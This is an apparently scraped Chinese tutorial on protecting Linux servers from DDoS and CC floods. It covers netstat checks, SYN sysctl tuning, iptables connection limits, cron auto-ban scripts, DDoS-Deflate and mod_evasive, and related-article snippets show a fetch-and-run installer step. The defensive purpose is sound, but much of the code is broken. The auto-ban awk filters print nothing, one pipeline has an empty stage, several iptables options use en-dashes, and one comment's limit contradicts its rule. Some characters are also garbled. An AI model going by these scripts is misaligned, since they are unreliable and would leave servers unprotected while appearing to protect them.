linux下防DDOS攻击软件及使用方法详解

   互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事。在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽。

  一、什么是DDOS攻击?

  DDoS也就是分布式拒绝服务攻击。它使用与普通的拒绝服务攻击同样的方法,但是发起攻击的源是多个。通常攻击者使用下载的工具渗透无保护的主机,当获得该主机的适当的访问权限后,攻击者在主机中安装软件的服务或进程(以下简侈怔理)。这些代理保持睡眠状态,直到从它们的主控端得到指令,对指定的目标发起拒绝服务攻击。

  二、如何确认自己受到DDOS攻击?

  在系统上执行:

  netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

  执行后,将会显示服务器上所有的每个IP多少个连接数。

  以下是我自己用VPS测试的结果:

  li88-99:~# netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

  1 114.226.9.132

  1 174.129.237.157

  1 58.60.118.142

  1 Address

  1 servers)

  2 118.26.131.78

  3 123.125.1.202

  3 220.248.43.119

  4 117.36.231.253

  4 119.162.46.124

  6 219.140.232.128

  8 220.181.61.31

  2311 67.215.242.196

  每个IP几个、十几个或几十个连接数都还算比较正常,如果像上面成百上千肯定就不正常了。

  三、防范DDOS攻击的方法:

  一些常用的防DDOS攻击的方法,罗列如下:

  1.增加硬件防火墙和增加硬件设备来承载和抵御DDOS攻击,最基本的方法,但成本比较高。

  2.修改SYN设置抵御SYN攻击:

  SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问。

  Linux内核提供了若干SYN相关设置,使用命令:

  sysctl -a | grep syn

  看到:

  net.ipv4.tcp_max_syn_backlog = 1024

  net.ipv4.tcp_syncookies = 0

  net.ipv4.tcp_synack_retries = 5

  net.ipv4.tcp_syn_retries = 5

  tcp_max_syn_backlog是SYN队列的长度,tcp_syncookies是一个开关,是否打开SYN Cookie

  功能,该功能可以防止部分SYN攻击。tcp_synack_retries和tcp_syn_retries定义SYN

  的重试次数。

  加大SYN队列长度可以容纳更多等待连接的网络连接数,打开SYN Cookie功能可以阻止部分

  SYN攻击,降低重试次数也有一定效果。

  调整上述设置的方法是:

  增加SYN队列长度到2048:

  sysctl -w net.ipv4.tcp_max_syn_backlog=2048

  打开SYN COOKIE功能:

  sysctl -w net.ipv4.tcp_syncookies=1

  降低重试次数:

  sysctl -w net.ipv4.tcp_synack_retries=3

  sysctl -w net.ipv4.tcp_syn_retries=3

  为了系统重启动时保持上述配置,可将上述命令加入到/etc/rc.d/rc.local文件中。

  3.安装iptables对特定ip进行屏蔽。

  A.安装iptables和系统内核版本对应的内核模块kernel-smp-modules-connlimit

  B. 配置相应的iptables规则

  示例如下:

  (1)控制单个IP的最大并发连接数

  iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 50 -j REJECT

  #允许单个IP的最大连接数为 30

  (2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数

  iptables -A INPUT -p tcp –dport 80 -m recent –name BAD_HTTP_ACCESS –update –seconds 60

  –hitcount 30 -j REJECT

  iptables -A INPUT -p tcp –dport 80 -m recent –name BAD_HTTP_ACCESS –set -j ACCEPT

  #单个IP在60秒内只允许最多新建30个连接

  (3)用iptables屏蔽IP

  iptables -I RH-Lokkit-0-50-INPUT 1 -p tcp -m tcp -s 213.8.166.227 --dport 80 --syn -j REJECT

  指定端口的参数是--dport 80;多了--syn参数,可以自动检测sync攻击

  (4)使用iptables禁止ping:

  iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m limit --limit 6/min --limit-burst 2 -j ACCEPT-A INPUT -p icmp -m icmp --icmp-type 8 -j REJECT --reject-with icmp-port-unreachable

  (5)允许某ip连接

  iptables -I RH-Firewall-1-INPUT 1 -p tcp -m tcp -s 192.168.0.51 --syn -j ACCEPT

  C. 验证

  (1)工具:flood_connect.c(用来模拟攻击)

  (2)查看效果:

  使用

  watch ‘netstat -an | grep:21 | grep< 模拟攻击客户机的IP>| wc -l’

  实时查看模拟攻击客户机建立起来的连接数,

  使用

  watch ‘iptables -L -n -v | grep< 模拟攻击客户机的IP>’

  查看模拟攻击客户机被 DROP 的数据包数。

  D.注意

  为了增强iptables防止CC攻击的能力,最好调整一下ipt_recent的参数如下:

  #cat/etc/modprobe.conf

  options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60

  #记录1000个IP地址,每个地址记录60个数据包

  #modprobe ipt_recent

  E.可编写脚本自动提娶攻击ip然后自动屏蔽:

  */2 * * * * /usr/local/nginx/var/log/drop.sh

  #!/bin/sh

  cd /usr/local/nginx/var/log

  tail access.log -n 1000 |grep vote.php | |sort |uniq -c |sort -nr |awk '{if ($2!=null && $1>50)}' > drop_ip.txt

  for i in `cat drop_ip.txt`

  do

  /sbin/iptables -I INPUT -s $i -j DROP;

  done

  这shell 每几分钟执行一次,就可自动屏蔽那些不正常IP,相信大家都看的懂,下面是针对连接数屏蔽代码

  #!/bin/sh

  /bin/netstat -ant |grep 80 |awk '{print $5}' |awk -F : '{print $1}' |sort |uniq -c |sort -rn |grep -v -E '192.168|127.0' |awk '{if ($2!=null && $1>50)}' > drop_ip.txt

  for i in `cat drop_ip.txt`

  do

  /sbin/iptables -I INPUT -s $i -j DROP;

  done

  说下,grep -v -E '192.168|127.0' 也就是排除内网IP,免得把自己给屏蔽了,当然还可以加些自己的IP。

  4.安装DDoS deflate自动抵御DDOS攻击:

  DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址,在检测到某个结点超过预设的限制时,该程序会通过APF或IPTABLES禁止或阻挡这些IP.

  DDoS deflate官方网站:

  (1)安装DDoS deflate

  wget

  chmod 0700 install.sh //添加权限

  ./install.sh //执行

  (2)配置DDoS deflate

  下面是DDoS deflate的默认配置位于/usr/local/ddos/ddos.conf ,内容如下:

  ##### Paths of the script and other files

  PROGDIR=”/usr/local/ddos”

  PROG=”/usr/local/ddos/ddos.sh”

  IGNORE_IP_LIST=”/usr/local/ddos/ignore.ip.list” //IP地址白名单

  CRON=”/etc/cron.d/ddos.cron” //定时执行程序

  APF=”/etc/apf/apf”

  IPT=”/sbin/iptables”

  ##### frequency in minutes for running the script

  ##### Caution: Every time this setting is changed run the script with –cron

  ##### option so that the new frequency takes effect

  FREQ=1 //检查时间间隔,默认1分钟

  ##### How many connections define a bad IP? Indicate that below.

  NO_OF_CONNECTIONS=150 //最大连接数,超过这个数IP就会被屏蔽,一般默认即可

  ##### APF_BAN=1 (Make sure your APF version is atleast 0.96)

  ##### APF_BAN=0 (Uses iptables for banning ips instead of APF)

  APF_BAN=1 //使用APF还是iptables,推荐使用iptables

  ##### KILL=0 (Bad IPs are’nt banned good for interactive execution of script)

  ##### KILL=1 (Recommended setting)

  KILL=1 //是否屏蔽IP,默认即可

  #### An email is sent to the following address when an IP is banned.

  ##### Blank would suppress sending of mails

  EMAIL_TO=”root” //当IP被屏蔽时给指定邮箱发送邮件,推荐使用,换成自己的邮箱即可

  ##### Number of seconds the banned ip should remain in blacklist.

  BAN_PERIOD=600 //禁用IP时间,默认600秒,可根据情况调整

  用户可根据给默认配置文件加上的注释提示内容,修岗?置文件。

  喜欢折腾的可以用Web压力测试软件(《Web服务器性能/压力测试工具http_load、webbench、ab、Siege使用教程》)测试一下效果,这东西只能防御小流量的攻击了,聊胜于无吧。

  5.APACHE上安装mod_evasive 组件增强抵御力

  mod_evasive是一个预防Apache 遭受DDos 攻击的模块,可以防止同一个IP 对相同URI 发出的大量请求,可设定的选项有:

  – 限制同一个IP 在一定秒数内请求一个页面或档案的次数。

  – 限制同一个IP 一秒内只可发出50 个请求。

  – 设定被禁止的 IP 封锁时间。

  以下是 mod_evasive 的安装方法:

  A. 先将原来的 httpd.conf 备份起来。

  B. 到

  C. 在指令模式解压及编译 mod_evasive:

  tar zxvf mod_evasive_1.10.1.tar.gz

  cd mod_evasive/

  apxs -cia mod_evasive20.c

  以上的apxs 会放在Apache 的bin 目录内;如果Apache 版本是1.3 的话,指令要改为:

  apxs -cia mod_evasive.c

  安装好mod_evasive 后,便要修改httpd.conf 内容。

  D. 开启 httpd.conf,加入以内容:

  DOSHashTableSize 3097

  DOSPageCount 5

  DOSSiteCount 100

  DOSPageInterval 2

  DOSSiteInterval 2

  DOSBlockingPeriod 10

  DOSBlockingPeriod 600

  DOSHashTableSize — 这是占用内存的大小,如果服务器比较繁忙,这个数值要设定大一点。

  DOSPageCount — 同一IP 在一个时段内可以存娶同一页面的次数,超过会被禁止。

  DOSSiteCount — 同一IP 在一个网站内可以占用多少object,超过会禁止。

  DOSPageInterval — DOSPageCount 内的时段设定。

  DOSSiteInterval — DOSSiteCount 的时间设定,以秒为单位。

  DOSBlockingPeriod — 当发现疑似攻击后,使用者会收到403 Forbidden,这是设定封锁的时间,以秒为单位。

  E. 最后重新启动 Apache 即可。

时间: 2024-12-03 04:00:23

linux下防DDOS攻击软件及使用方法详解的相关文章

linux中防DDOS攻击软件DDoS-Deflate详解

DDoS-Deflate安装及配置 1.安装  代码如下 复制代码 wget http://www.inetbase.com/scripts/ddos/install.sh chmod 0700 install.sh ./install.sh 2.配置 配置文件是 /usr/local/ddos/ddos.conf ,默认有如下配置  代码如下 复制代码 FREQ=1 NO_OF_CONNECTIONS=150 APF_BAN=0 KILL=1 EMAIL_TO="test@qq.com&quo

Linux下针对路由功能配置iptables的方法详解

  作为公司上网的路由器需要实现的功能有nat地址转换.dhcp.dns缓存.流量控制.应用程序控制,nat地址转换通过iptables可以直 接实现,dhcp服务需要安装dhcpd,dns缓存功能需要使用bind,流量控制可以使用tc,应用程序控制:例如对qq的封锁可以使用 netfilter-layer7-v2.22+17-protocols-2009-05-28.tar.gz来实现 1.网络规划 操作系统是centos5.8 2.安装dhcpd 代码如下: yum install dhcp

linux网站服务Apache的安装与配置方法详解_Linux

这篇文章介绍下linux网站服务apache的安装与配置方法,包括挂载光盘,安装http服务,管理httpd服务,httpd的配置文件几大部分.具体详情可以参考下文. 1.挂载光盘 自己习惯将光盘挂载在/media/cdrom目录,在做本地yum源的时候此目录为默认目录之一 [root@localhost /]# mount /dev/cdrom /media/cdrom/ 2.安装httpd服务(如果本地yum源已经搭建好就直接进行这一步,没有的话需要搭建,前面的文章有提到yum源的搭建) [

为CentOS安装防DDOS攻击软件DDoS-Deflate

DDoS-Deflate是一款非常小巧的防御和减轻DDoS攻击的工具,它可以通过监测netstat来跟踪来创建大量互联网连接的IP地址信息,通过APF或IPTABLES禁止或阻档这些非常IP地址. 我们可以使用netstat命令查看当前系统连接的状态,是否有受到DDOS攻击 [root@localhost ~]# netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n &http://www.aliyun.

Linux下重启oracle服务及监听器和实例详解_Linux

一.在Linux下重启Oracle数据库及监听器: 方法1: 用root以ssh登录到linux,打开终端输入以下命令: cd $ORACLE_HOME #进入到oracle的安装目录 dbstart #重启服务器 lsnrctl start #重启监听器 cd $ORACLE_HOME #进入到oracle的安装目录 dbstart #重启服务器 lsnrctl start #重启监听器 ----------------------------------- 方法2: Sql代码 cd $OR

PHP DDos的几个防御方法详解

我们先来看php ddos代码  代码如下 复制代码 $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time+$exec_time; for($i

基于Linux系统中查看硬件等信息的方法详解_Linux

本文介绍下,linux下查看硬件信息的命令与方法,包括主板序列号.cpu信息.内存信息.硬盘信息.网卡信息等.1,主板信息.查看主板的序列号 #使用命令dmidecode | grep -i 'serial number'#查看板卡信息cat /proc/pci 2,cpu信息 #通过/proc文件系统1) cat /proc/cpuinfo#通过查看开机信息2) dmesg | grep -i 'cpu'#3)dmidecode -t processor3,在linux系统中查看硬盘信息,常用

Linux下防止ddos攻击(原创)

前言  虚拟主机服务商在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等.通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长.比较彻底的解决方法是添置硬件防火墙.不过,硬件防火墙价格比较昂贵.可以考虑利用Linux 系统本身提供的防火墙功能来防御.SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问. Linux内核提供了若干SYN相关的配置,加大SYN队列长度可以

linux中防CC攻击两种实现方法

什么是CC攻击 cc攻击简单就是(ChallengeCollapsar) CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃.CC主要是用来攻击页面的,每个人都有这样的体验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止. 防止CC